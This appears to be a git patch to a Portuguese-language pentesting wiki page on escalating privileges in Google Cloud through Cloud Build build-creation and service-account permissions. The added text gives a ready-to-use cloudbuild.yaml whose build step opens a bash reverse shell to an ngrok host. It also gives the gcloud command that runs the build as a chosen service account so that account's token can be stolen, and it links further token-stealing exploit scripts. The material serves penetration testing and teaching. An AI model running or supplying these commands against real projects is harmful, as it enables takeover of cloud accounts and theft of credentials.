From ea46aa122e1e019e363604666a88e4920852d624 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:46:29 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloudbuild-privesc.md | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index d819289c8..37ea09a1d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,18 +12,30 @@ Para mais informações sobre o Cloud Build, consulte: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Com esta permissão, você pode **submeter um cloud build**. A máquina do cloudbuild terá em seu sistema de arquivos por **padrão um token da Service Account do cloudbuild**: `@cloudbuild.gserviceaccount.com`. No entanto, você pode **indicar qualquer service account dentro do projeto** na configuração do cloudbuild.\ +Com esta permissão, você pode **submeter um cloud build**. A máquina cloudbuild terá em seu sistema de arquivos por **padrão um token da Service Account do cloudbuild**: `@cloudbuild.gserviceaccount.com`. No entanto, você pode **indicar qualquer service account dentro do projeto** na configuração do cloudbuild.\ Portanto, você pode simplesmente fazer a máquina exfiltrar para o seu servidor o token ou **obter um shell reverso dentro dela e conseguir o token** (o arquivo contendo o token pode mudar). -Você pode encontrar o script de exploit original [**aqui no GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mas a localização de onde está pegando o token não funcionou para mim). Portanto, confira um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e um script em python para obter um shell reverso dentro da máquina do cloudbuild e [**roubar o token aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (no código você pode encontrar como especificar outras service accounts)**.** +#### Exploração direta via gcloud CLI + +1- Crie `cloudbuild.yaml` e modifique com os dados do seu listener. +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Faça o upload de um build simples sem fonte, o arquivo yaml e especifique o SA a ser usado no build: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Usando a biblioteca gcloud do python +Você pode encontrar o script de exploração original [**aqui no GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mas o local de onde está pegando o token não funcionou para mim). Portanto, confira um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e um script em python para obter um shell reverso dentro da máquina cloudbuild e [**roubar isso aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (no código você pode encontrar como especificar outras contas de serviço)**.** Para uma explicação mais detalhada, visite [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potencialmente**, com esta permissão, você poderá **atualizar um cloud build e apenas roubar o token da service account** como foi feito com a permissão anterior (mas, infelizmente, no momento da escrita, não consegui encontrar nenhuma maneira de chamar essa API). - -TODO ### `cloudbuild.repositories.accessReadToken`